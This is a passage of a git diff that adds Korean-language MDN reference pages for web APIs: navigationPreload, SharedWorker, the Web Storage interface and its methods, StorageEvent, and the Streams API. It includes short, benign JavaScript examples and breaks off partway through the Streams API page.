+title: ServiceWorkerRegistration.navigationPreload
+slug: Web/API/ServiceWorkerRegistration/navigationPreload
+translation_of: Web/API/ServiceWorkerRegistration/navigationPreload
+---
+<p>{{SeeCompatTable}}{{APIRef("Service Workers API")}}</p>
+
+<p>{{domxref("ServiceWorkerRegistration")}} 인터페이스의  <strong><code>navigationPreload</code></strong> 읽기 전용 속성은 현재의 서비스 워커 등록와 관련된 {{domxref("NavigationPreloadManager")}} 를 반환한다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">var <em>navigationPreloadManager</em> = <em>serviceWorkerRegistration</em>.navigationPreload</pre>
+
+<h3 id="Value">Value</h3>
+
+<p>{{domxref("NavigationPreloadManager")}} 의 객체.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('Service Workers','#service-worker-registration-navigationpreload','navigationPreload')}}</td>
+ <td>{{Spec2('Service Workers')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_Compatibility">Browser Compatibility</h2>
+
+
+
+<p>{{Compat("api.ServiceWorkerRegistration.navigationPreload")}}</p>
diff --git a/files/ko/web/api/sharedworker/index.html b/files/ko/web/api/sharedworker/index.html
new file mode 100644
index 0000000000..f155b9f03a
--- /dev/null
+++ b/files/ko/web/api/sharedworker/index.html
@@ -0,0 +1,105 @@
+---
+title: SharedWorker
+slug: Web/API/SharedWorker
+translation_of: Web/API/SharedWorker
+---
+<div>{{APIRef("Web Workers API")}}</div>
+
+<p><code><strong>SharedWorker</strong></code><strong> </strong>인터페이스는 윈도우 창이나 iframe, 워커등의 다른 브라우징 컨텍스트에서도 접근이 가능한 특정 종류의 워커를 의미합니다. 기존의 다른 종류의 워커들과 다른 전역 스코프를 갖는 인터페이스를 구현합니다. {{domxref("SharedWorkerGlobalScope")}}.</p>
+
+<div class="note">
+<p><strong>참고 : </strong> SharedWorker 가 몇개의 다른 브라우징 컨텍스트에서 접근이 가능하면, 그 브라우징 컨텍스트들은 모두 정확히 같은 오리진을 공유해야 합니다. (같은 프로토콜, 호스트, 포트 등)</p>
+</div>
+
+<h2 id="생성자">생성자</h2>
+
+<dl>
+ <dt>{{domxref("SharedWorker.SharedWorker", "SharedWorker()")}}</dt>
+ <dd>특정 URL에서 스크립트를 실행하는 shared web worker를 생성합니다.</dd>
+</dl>
+
+<h2 id="속성">속성</h2>
+
+<p><em>{{domxref("EventTarget")}}</em> 의 속성들을 상속 받습니다. 그리고 <em>{{domxref("AbstractWorker")}} </em>의 속성들을 구현할 수 있습니다.</p>
+
+<dl>
+ <dt>{{domxref("AbstractWorker.onerror")}}</dt>
+ <dd>워커에서 {{domxref("ErrorEvent")}} 타입의 에러가 발생했을 때 호출되는는 {{domxref("EventListener")}}</dd>
+ <dt>{{domxref("SharedWorker.port")}} {{readonlyInline}}</dt>
+ <dd>shared worker를 제어하거나 통신하기 위해 사용되는 {{domxref("MessagePort")}} 객체를 반환</dd>
+</dl>
+
+<h2 id="메서드">메서드</h2>
+
+<p><em>{{domxref("EventTarget")}}</em> 의 속성들을 상속 받습니다. 그리고 <em>{{domxref("AbstractWorker")}} </em>의 속성들을 구현할 수 있습니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<p><a class="external external-icon" href="https://github.com/mdn/simple-shared-worker">Basic shared worker example</a> (<a class="external external-icon" href="http://mdn.github.io/simple-shared-worker/">run shared worker</a>) 를 보시면 2개의 HTML 페이지가 있습니다. 각각 간단한 계산을 위해 자바스크립트를 사용합니다. 각기 다른 스크립트가 계산을 위해 같은 워커 파일을 사용합니다 — 두 개 페이지가 모두 다른 윈도우창에서 실행되더라도 같은 워커에 접근할 수 있습니다.</p>
+
+<p>아래 코드 스니펫은 {{domxref("SharedWorker.SharedWorker", "SharedWorker()")}} 생성자를 이용해 <code>SharedWorker</code> 객체를 생성합니다. 두 스크립트 모두 아래를 포함합니다.</p>
+
+<pre class="brush: js">var myWorker = new SharedWorker("worker.js");
+</pre>
+
+<p>두 스크립트는 {{domxref("SharedWorker.port")}} 속성으로 생성한 {{domxref("MessagePort")}} 객체를 통해 워커에 접근할 수 있습니다. <code>addEventListener</code> 를 이용하여 <code>onmessage</code> 가 추가되면, port는 <code>start()</code> 메서드를 이용하여 수동으로 시작할 수 있습니다.</p>
+
+<pre class="brush: js">myWorker.port.start();</pre>
+
+<p>포트가 시작되면, 양 스크립트는 워커에 메시지를 보내고 <code>port.postMessage()</code>와 <code>port.onmessage</code> 를 각각 이용하여 메시지를 처리합니다.</p>
+
+<pre class="brush: js">first.onchange = function() {
+ myWorker.port.postMessage([first.value,second.value]);
+ console.log('Message posted to worker');
+ }
+
+ second.onchange = function() {
+ myWorker.port.postMessage([first.value,second.value]);
+ console.log('Message posted to worker');
+ }
+
+ myWorker.port.onmessage = function(e) {
+ result1.textContent = e.data;
+ console.log('Message received from worker');
+ }</pre>
+
+<p>워커에서 {{domxref("SharedWorkerGlobalScope.onconnect")}} 핸들러를 이용하여 위에 언급된 포트에 접속할 수 있습니다. 워커에 연관되어 있는 포트는 {{event("connect")}} 이벤트 포트 속성에 접근할 수 있습니다 — 그리고나서 {{domxref("MessagePort")}} <code>start()</code> 메서드로 포트를 시작하고, onmessage 핸들러로 메인쓰레드에서 받은 메시지를 처리합니다.</p>
+
+<pre class="brush: js">onconnect = function(e) {
+ var port = e.ports[0];
+
+ port.addEventListener('message', function(e) {
+ var workerResult = 'Result: ' + (e.data[0] * e.data[1]);
+ port.postMessage(workerResult);
+ });
+
+ port.start(); // Required when using addEventListener. Otherwise called implicitly by onmessage setter.
+}</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', "#sharedworker", "SharedWorker")}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td>No change from {{SpecName("Web Workers")}}.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("api.SharedWorker")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{domxref("Worker")}}</li>
+ <li><a class="internal" href="/en-US/docs/Web/Guide/Performance/Using_web_workers">Using web workers</a></li>
+</ul>
diff --git a/files/ko/web/api/storage/index.html b/files/ko/web/api/storage/index.html
new file mode 100644
index 0000000000..26ee7125ad
--- /dev/null
+++ b/files/ko/web/api/storage/index.html
@@ -0,0 +1,107 @@
+---
+title: Storage
+slug: Web/API/Storage
+tags:
+ - API
+ - Interface
+ - Reference
+ - Storage
+ - Web Storage
+translation_of: Web/API/Storage
+---
+<div>{{APIRef("Web Storage API")}}</div>
+
+<p><a href="/ko/docs/Web/API/Web_Storage_API">Web Storage API</a>의 <strong><code>Storage</code></strong> 인터페이스는 특정 도메인을 위한 세션 저장소 또는 로컬 저장소의 접근 경로로서 데이터를 추가하고 수정하거나 삭제할 수 있습니다.</p>
+
+<p>도메인의 세션 저장소를 수정해야 하면 {{domxref("Window.sessionStorage")}}에, 로컬 저장소를 수정해야 하면 {{domxref("Window.localStorage")}}에 접근하세요.</p>
+
+<h2 id="속성">속성</h2>
+
+<dl>
+ <dt>{{domxref("Storage.length")}} {{readonlyInline}}</dt>
+ <dd><code>Storage</code> 객체에 저장된 데이터 항목의 수를 반환합니다.</dd>
+</dl>
+
+<h2 id="메서드">메서드</h2>
+
+<dl>
+ <dt>{{domxref("Storage.key()")}}</dt>
+ <dd>주어진 숫자 <code>n</code>에 대하여 저장소의 <code>n</code>번째 항목 키를 반환합니다.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("Storage.getItem()")}}</dt>
+ <dd>주어진 키에 연결된 값을 반환합니다.</dd>
+ <dt>{{domxref("Storage.setItem()")}}</dt>
+ <dd>키가 저장소에 존재하는 경우 값을 재설정합니다. 존재하지 않으면 키와 값을 저장소에 추가합니다.</dd>
+ <dt>{{domxref("Storage.removeItem()")}}</dt>
+ <dd>주어진 키를 저장소에서 제거합니다.</dd>
+ <dt>{{domxref("Storage.clear()")}}</dt>
+ <dd>저장소의 모든 키를 저장소에서 제거합니다.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<p>아래 코드에서는 <code>localStorage</code>에 접근해 <code>Storage</code> 객체를 접근합니다. 우선 <code>!localStorage.getItem('bgcolor')</code>를 사용해 데이터가 저장소에 존재하는지 알아냅니다. 데이터가 있으면 {{domxref("Storage.getItem()")}}으로 회수한 후 <code>setStyles()</code>로 페이지 스타일을 바꿉니다. 데이터가 없으면 <code>populateStorage()</code> 함수를 호출하고, 그 안에서는 {{domxref("Storage.setItem()")}}을 통해 데이터를 설정합니다. 그 후에는 동일하게 <code>setStyles()</code>를 사용합니다.</p>
+
+<pre class="brush: js notranslate">if(!localStorage.getItem('bgcolor')) {
+ populateStorage();
+} else {
+ setStyles();
+}
+
+function populateStorage() {
+ localStorage.setItem('bgcolor', document.getElementById('bgcolor').value);
+ localStorage.setItem('font', document.getElementById('font').value);
+ localStorage.setItem('image', document.getElementById('image').value);
+}
+
+function setStyles() {
+ var currentColor = localStorage.getItem('bgcolor');
+ var currentFont = localStorage.getItem('font');
+ var currentImage = localStorage.getItem('image');
+
+ document.getElementById('bgcolor').value = currentColor;
+ document.getElementById('font').value = currentFont;
+ document.getElementById('image').value = currentImage;
+
+ htmlElem.style.backgroundColor = '#' + currentColor;
+ pElem.style.fontFamily = currentFont;
+ imgElem.setAttribute('src', currentImage);
+}</pre>
+
+<div class="note">
+<p><strong>참고</strong>: 실제 작동 예제는 저희의 <a href="https://github.com/mdn/web-storage-demo">Web Storage Demo</a>에서 볼 수 있습니다.</p>
+</div>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', '#storage', 'Storage')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.Storage")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/API/Web_Storage_API/Using_the_Web_Storage_API">Web Storage API 사용하기</a></li>
+ <li>{{domxref("Window.localStorage")}}</li>
+ <li>{{domxref("Window.sessionStorage")}}</li>
+ <li>{{domxref("CacheStorage")}}</li>
+</ul>
diff --git a/files/ko/web/api/storage/key/index.html b/files/ko/web/api/storage/key/index.html
new file mode 100644
index 0000000000..7583b6e49f
--- /dev/null
+++ b/files/ko/web/api/storage/key/index.html
@@ -0,0 +1,74 @@
+---
+title: Storage.key()
+slug: Web/API/Storage/key
+tags:
+ - 로컬 스토리지
+ - 세션 스토리지
+ - 웹 스토리지
+translation_of: Web/API/Storage/key
+---
+<p>{{APIRef("Web Storage API")}}</p>
+
+<p>{{domxref("Storage")}} 인터페이스의 <code>key()</code> 메서드는 숫자 <code>n</code>이 전달되면 Storage의 <code>n</code>번째 key 이름을 반환합니다. key의 순서는 user-agent에 의해 정의되므로 이 순서에 의존성이 있어서는 안됩니다.</p>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox">var <em>aKeyName</em> = <em>storage</em>.key(<em>index</em>);</pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><em>index</em></dt>
+ <dd>반환받으려하는 key의 번호를 나타내는 정수. 이 정수는 0부터 시작하는 인덱스입니다.</dd>
+</dl>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>key 이름을 포함한 {{domxref("DOMString")}} 입니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<p>다음 함수는 localStorage 의 key들을 반복합니다.</p>
+
+<pre class="brush: js">function forEachKey(callback) {
+ for (var i = 0; i &lt; localStorage.length; i++) {
+ callback(localStorage.key(i));
+  }
+}</pre>
+
+<p>다음 함수는 localStorage 의 key들을 반복하고 각 key에 설정된 값들을 가져옵니다.</p>
+
+<pre class="brush: js">for(var i =0; i &lt; localStorage.length; i++){
+   console.log(localStorage.getItem(localStorage.key(i)));
+}</pre>
+
+<div class="note">
+<p><strong>Note</strong>: 실제로 쓰이는 예제를 보려면 우리의 <a href="https://mdn.github.io/dom-examples/web-storage/">Web Storage Demo</a> 를 참조하세요.</p>
+</div>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', 'webstorage.html#dom-storage-key', 'Storage.key')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div class="hidden">이 페이지의 호환성 테이블은 구조화 된 데이터에서 생성됩니다. 데이터에 기여하고 싶다면 <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> 를 확인하고 Pull Request 를 보내주세요.</div>
+
+<p>{{Compat("api.Storage.key")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<p><a href="/en-US/docs/Web/API/Web_Storage_API/Using_the_Web_Storage_API">Using the Web Storage API</a></p>
diff --git a/files/ko/web/api/storage/length/index.html b/files/ko/web/api/storage/length/index.html
new file mode 100644
index 0000000000..53b092b939
--- /dev/null
+++ b/files/ko/web/api/storage/length/index.html
@@ -0,0 +1,68 @@
+---
+title: Storage.length
+slug: Web/API/Storage/length
+tags:
+ - API
+ - Property
+ - Read-only
+ - Reference
+ - Storage
+ - Web Storage
+translation_of: Web/API/Storage/length
+---
+<div>{{APIRef("Web Storage API")}}</div>
+
+<p>{{domxref("Storage")}} 인터페이스의 <code>length</code> 읽기 전용 속성은 <code>Storage</code> 객체에 저장된 데이터 항목의 수를 반환합니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox notranslate"><em>length</em> = <em>storage</em>.length;</pre>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p><code>Storage</code> 객체에 저장된 항목의 수.</p>
+
+<h2 id="예제">예제</h2>
+
+<p>다음의 함수는 현재 도메인의 로컬 저장소에 세 개의 항목을 추가한 후 저장소 항목의 수를 반환합니다.</p>
+
+<pre class="brush: js notranslate">function populateStorage() {
+ localStorage.setItem('bgcolor', 'yellow');
+ localStorage.setItem('font', 'Helvetica');
+ localStorage.setItem('image', 'cats.png');
+
+ return localStorage.length; // Should return 3
+}</pre>
+
+<div class="note">
+<p><strong>참고</strong>: 실제 사용 예제를 보시려면 저희의 <a href="https://mdn.github.io/dom-examples/web-storage/">Web Storage Demo</a>를 방문하세요.</p>
+</div>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', 'webstorage.html#dom-storage-length', 'Storage.length')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.Storage.length")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/API/Web_Storage_API/Using_the_Web_Storage_API">Web Storage API 사용하기</a></li>
+</ul>
diff --git a/files/ko/web/api/storage/removeitem/index.html b/files/ko/web/api/storage/removeitem/index.html
new file mode 100644
index 0000000000..e9afd96922
--- /dev/null
+++ b/files/ko/web/api/storage/removeitem/index.html
@@ -0,0 +1,134 @@
+---
+title: Storage.removeItem()
+slug: Web/API/Storage/removeItem
+tags:
+ - 메소드
+ - 스토리지
+ - 웹 스토리지
+ - 참고
+translation_of: Web/API/Storage/removeItem
+---
+<p>{{APIRef("Web Storage API")}}</p>
+
+<p>{{domxref("Storage")}} 인터페이스의 removeItem() 메소드에 키 이름을 파라미터로 전달하면 스토리지에서 해당 키를 삭제합니다.</p>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox"><em>storage</em>.removeItem(<em>keyName</em>);</pre>
+
+<h3 id="파라미터">파라미터</h3>
+
+<dl>
+ <dt><em><u>keyName</u></em></dt>
+ <dd>삭제하고자 하는 키 이름({{domxref("DOMString")}}).</dd>
+</dl>
+
+<h3 id="반환값">반환값</h3>
+
+<p><em>반환값 없음.</em></p>
+
+<h2 id="예제">예제</h2>
+
+<p>아래의 함수는 로컬 스토리지에 3 개의 데이터 아이템을 생성한 후 그 중 하나를 삭제합니다.</p>
+
+<pre class="brush: js">function populateStorage() {
+ localStorage.setItem('bgcolor', 'red');
+ localStorage.setItem('font', 'Helvetica');
+ localStorage.setItem('image', 'myCat.png');
+
+ localStorage.removeItem('image');
+}</pre>
+
+<div class="note">
+<p><strong>주</strong>: 실 사용 예제는 <a href="https://github.com/mdn/web-storage-demo">Web Storage Demo</a>를 참고하시기 바랍니다.</p>
+</div>
+
+<h2 id="사양">사양</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">사양</th>
+ <th scope="col">상태</th>
+ <th scope="col">비고</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('Web Storage', '#dom-storage-removeitem', 'removeItem()')}}</td>
+ <td>{{Spec2('Web Storage')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Edge</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari (WebKit)</th>
+ </tr>
+ <tr>
+ <td>localStorage</td>
+ <td>4</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>3.5</td>
+ <td>8</td>
+ <td>10.50</td>
+ <td>4</td>
+ </tr>
+ <tr>
+ <td>sessionStorage</td>
+ <td>5</td>
+ <td>{{CompatUnknown}}</td>
+ <td>2</td>
+ <td>8</td>
+ <td>10.50</td>
+ <td>4</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Edge</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Phone</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>2.1</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{ CompatUnknown }}</td>
+ <td>8</td>
+ <td>11</td>
+ <td>iOS 3.2</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<p>모든 브라우저가 다양한 지원 수준의 localStorage와 sessionStorage를 제공합니다. 이 곳에서 <a class="external" href="http://dev-test.nemikor.com/web-storage/support-test/" title="http://dev-test.nemikor.com/web-storage/support-test/">다양한 브라우저에서의 storage 지원과 관련된 상세항 사항</a>을 확인할 수 있습니다.</p>
+
+<div class="note">
+<p><strong>주: </strong>iOS 5.1부터 모바일 Safari는 localStorage 데이터를 캐시 폴더에 저장하며, 공간 부족 등의 사유로 OS의 요청에 의해 가끔씩 지워질 수 있습니다.</p>
+</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<p><a href="/en-US/docs/Web/API/Web_Storage_API/Using_the_Web_Storage_API">Web Storage API 사용하기</a></p>
diff --git a/files/ko/web/api/storageevent/index.html b/files/ko/web/api/storageevent/index.html
new file mode 100644
index 0000000000..2ab61d0509
--- /dev/null
+++ b/files/ko/web/api/storageevent/index.html
@@ -0,0 +1,79 @@
+---
+title: StorageEvent
+slug: Web/API/StorageEvent
+tags:
+ - API
+ - Event
+ - Reference
+ - StorageEvent
+ - Web Storage
+ - Web Storage API
+translation_of: Web/API/StorageEvent
+---
+<div>{{APIRef("Web Storage API")}}</div>
+
+<p><strong><code>StorageEvent</code></strong>는 접근 가능한 저장소가 다른 문서에서 변경될 경우 {{domxref("window")}}로 전송됩니다.</p>
+
+<p>{{InheritanceDiagram}}</p>
+
+<h2 id="특성">특성</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <td class="header">특성</td>
+ <td class="header">유형</td>
+ <td class="header">설명</td>
+ </tr>
+ <tr>
+ <td><code>key</code></td>
+ <td>{{DOMxRef("DOMString")}}</td>
+ <td>변경된 키. 저장소가 <code>clear()</code> 메서드로 인해 바뀐 경우 {{jsxref("null")}}입니다. <strong>읽기 전용.</strong></td>
+ </tr>
+ <tr>
+ <td><code>newValue</code></td>
+ <td>{{DOMxRef("DOMString")}}</td>
+ <td><code>key</code>의 새로운 값. 저장소가 <code>clear()</code> 메서드로 바뀐 경우, 또는 변경점이 <code>key</code>를 저장소에서 삭제한 것인 경우 <code>newValue</code>는 <code>null</code>입니다. <strong>읽기 전용.</strong></td>
+ </tr>
+ <tr>
+ <td><code>oldValue</code></td>
+ <td>{{DOMxRef("DOMString")}}</td>
+ <td><code>key</code>의 이전 값. <code>key</code>를 저장소에 새로 추가한 경우 이전 값이 존재하지 않으므로 <code>oldValue</code>는 <code>null</code>입니다. <strong>읽기 전용.</strong></td>
+ </tr>
+ <tr>
+ <td><code>storageArea</code></td>
+ <td>{{Interface("nsIDOMStorage")}}</td>
+ <td>변경된 <code>Storage</code> 객체입니다. <strong>읽기 전용.</strong></td>
+ </tr>
+ <tr>
+ <td><code>url</code></td>
+ <td>{{DOMxRef("USVString")}}</td>
+ <td><code>key</code>를 바꾼 문서의 URL입니다. <strong>읽기 전용.</strong></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Statuc</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName("HTML WHATWG", "webstorage.html#the-storageevent-interface", "The <code>StorageEvent</code> interface")}}</td>
+ <td>{{Spec2("HTML WHATWG")}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.StorageEvent")}}</p>
diff --git a/files/ko/web/api/streams_api/index.html b/files/ko/web/api/streams_api/index.html
new file mode 100644
index 0000000000..96009dad26
--- /dev/null
+++ b/files/ko/web/api/streams_api/index.html
@@ -0,0 +1,152 @@
+---
+title: Streams API
+slug: Web/API/Streams_API
+tags:
+ - API
+ - Experimental
+ - Landing
+ - Reference
+ - Streams
+ - TopicStub
+translation_of: Web/API/Streams_API
+---
+<div>{{SeeCompatTable}}{{APIRef("Streams")}}</div>
+
+<p class="summary">Streams API는 Javascript를 이용해 네트워크를 통해 전송된 데이터 스트림에 접근하여 원하는 대로 처리가 가능한 API를 제공합니다.</p>
+
+<h2 id="개념과_사용법">개념과 사용법</h2>
+
+<p>Streaming은 네트워크를 통해 받은 리소스를 작은 조각으로 나누어, Bit 단위로 처리합니다. 이는 브라우저가 수신한 자원을 웹페이지에 표현할 때 주로 사용하는 방법입니다. — Video buffer는 재생되기 전 천천히 채워지며 가끔 이미지도 천천히 로딩되는 것을 보실 수 있을 겁니다..</p>
+
+<p>하지만 Javascript에서는 지금까지 불가능했습니다. 이전에는 (비디오나 텍스트 파일 등의) 리소스를 처리하기 위해서 우선, 전체 파일을 다운로드 받은 후 알맞은 포맷으로 파싱된 후에야, 전송된 전체 데이터를 처리할 수 있었습니다.</p>
+
+<p>With Javascript에 Stream이 도입된 후에는 모든 것이 바뀌었는데, 이제 Buffer, String 또는 blob 없이도 Javascript를 통해 Raw Data를 비트 단위로 처리할 수 있습니다.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/15817/Concept.png" style="display: block; height: 382px; margin: 0px auto; width: 1000px;"></p>
+
+<p>장점은 또 있습니다 — Stream의 시작 또는 종료를 감지할 수 있으며, 여러 stream을 엮어서 에러를 처리하거나 필요한 경우 stream을 취소할 수도 있습니다. 또한 stream이 읽어들이는 속도에 따라 반응할 수도 있지요.</p>
+
+<p>Stream의 주요한 기본 사용법은 응답 데이터를 stream으로 만드는 것입니다. <a href="/en-US/docs/Web/API/WindowOrWorkerGlobalScope/fetch">fetch request</a>를 통해 정상적으로 전송된 응답 {{domxref("Body")}}는 {{domxref("ReadableStream")}}로 표현 가능합니다. 또한 {{domxref("ReadableStream.getReader()")}}를 통해 Reader 객체를 얻어 데이터를 읽을 수도 있으며, {{domxref("ReadableStream.cancel()")}}로 Stream을 취소하는 것 등이 가능합니다.</p>
+
+<p>조금 더 복잡한 사용법은 {{domxref("ReadableStream.ReadableStream", "ReadableStream()")}} 생성자를 통해 사용자가 직접 Stream을 생성하는 것입니다. 예를 들자면 <a href="/en-US/docs/Web/API/Service_Worker_API">service worker</a>에 전달할 데이터를 Stream으로 만들 수도 있습니다.</p>
+
+<p>{{domxref("WritableStream")}}을 사용하면 Stream에 데이터를 쓰는 것도 가능합니다..</p>
+
+<div class="note">
+<p><strong>Note</strong>: <a href="/en-US/docs/Web/API/Streams_API/Concepts">Streams API concepts</a>, <a href="/en-US/docs/Web/API/Streams_API/Using_readable_streams">Using readable streams</a>,  <a href="/en-US/docs/Web/API/Streams_API/Using_writable_streams">Using writable streams</a> — 페이지에서 stream에 관한 더 자세한 이론과 예제를 찾을 수 있습니다.</p>
+</div>
+
+<h2 id="스트림_인터페이스">스트림 인터페이스</h2>
+
+<h3 id="읽기_스트림(Readable_streams)">읽기 스트림(Readable streams)</h3>
+
+<dl>
+ <dt>{{domxref("ReadableStream")}}</dt>
+ <dd>데이터 읽기 스트림을 나타냅니다. <a href="/en-US/docs/Web/API/Fetch_API">Fetch API</a>의 결과 스트림이나 개발자가 정의한 스트림(예, 커스텀 {{domxref("ReadableStream.ReadableStream", "ReadableStream()")}} 클래스)등을 핸들링할 수 있습니다.</dd>
+ <dt>{{domxref("ReadableStreamDefaultReader")}}</dt>
+ <dd>네트워크(예, fetch 요청)등에서 전달된 스트림 데이터를 처리하는 기본 Reader를 반환합니다.</dd>
+ <dt>{{domxref("ReadableStreamDefaultController")}}</dt>
+ <dd>{{domxref("ReadableStream")}}의 상태나 내부 큐를 컨트롤 할 수 있는 기본 컨트롤러를 반환합니다. 기본 컨트롤러는 Byte 스트림 외의 스트림에만 해당합니다.</dd>
+</dl>
+
+<h3 id="쓰기_스트림(writable_streams)">쓰기 스트림(writable streams)</h3>
+
+<dl>
+ <dt>{{domxref("WritableStream")}}</dt>
+ <dd>목적지 스트림에 데이터를 쓰기 위한 표준 추상 인터페이스를 제공하는 객체입니다. 이 객체는 내장 백프레셔와 큐잉을 구현하고 있습니다.</dd>
+ <dt>{{domxref("WritableStreamDefaultWriter")}}</dt>
+ <dd>쓰기 스트림에 데이터 조각들을 쓰기 위한 기본 Writer 객체를 반환한다.</dd>
+ <dt>{{domxref("WritableStreamDefaultController")}}</dt>
+ <dd>{{domxref("WritableStream")}} 상태를 컨트롤하는 기본 컨트롤러를 반환한다. <code>WritableStream</code>을 생성하면 해당 스트림을 컨트롤 하기 위해 <code>WritableStreamDefaultController</code> 인스턴스가 내부적으로 생성된다.</dd>
+</dl>
+
+<h3 id="관련_스트림_API와_기능">관련 스트림 API와 기능</h3>
+
+<dl>
+ <dt>{{domxref("ByteLengthQueuingStrategy")}}</dt>
+ <dd>스트림을 생성할 때 기본으로 사용 할 내장 byte length queuing strategy를 제공합니다.</dd>
+ <dt>{{domxref("CountQueuingStrategy")}}</dt>
+ <dd>스트림을 생성할 때 기본적으로 사용 할 내장 chunk counting queuing strategy를 제공합니다..</dd>
+</dl>
+
+<h3 id="외부_API_확장">외부 API 확장</h3>
+
+<dl>
+ <dt>{{domxref("Request")}}</dt>
+ <dd>새 <code>Request</code> 객체가 생성될 때 <code>RequestInit</code> 딕셔너리의 <code>body</code>에 {{domxref("ReadableStream")}} 를 전달할 수 있습니다. 이 <code>Request</code>는 {{domxref("WindowOrWorkerGlobalScope.fetch()")}} 에 전달되에서 스트림을 fetch하는데 사용됩니다.</dd>
+ <dt>{{domxref("Body")}}</dt>
+ <dd><a href="/en-US/docs/Web/API/WindowOrWorkerGlobalScope/fetch">fetch request</a> 성공 시 기본적으로 {{domxref("Body")}} {{domxref("ReadableStream")}}로 제공되며, reader를 붙여 데이터를 읽어들일 수 있습니다.</dd>
+</dl>
+
+<h3 id="ByteStream_관련_인터페이스">ByteStream 관련 인터페이스</h3>
+
+<div class="warning">
+<p><strong>중요</strong>: 아래 항목들은 아직 구현된 곳이 없으며, 스펙의 세부 사항이 구현할 수 있을 만큼 충분한 지 논의가 진행중입니다. 추후 변경될 수 있습니다.</p>
+</div>
+
+<dl>
+ <dt>{{domxref("ReadableStreamBYOBReader")}}</dt>
+ <dd>개발자가 직접 제공하여 stream data를 읽을 수 있는 BYOB ("bring your own buffer") reader를 표현합니다. (예 커스텀 {{domxref("ReadableStream.ReadableStream", "ReadableStream()")}} 생성자).</dd>
+ <dt>{{domxref("ReadableByteStreamController")}}</dt>
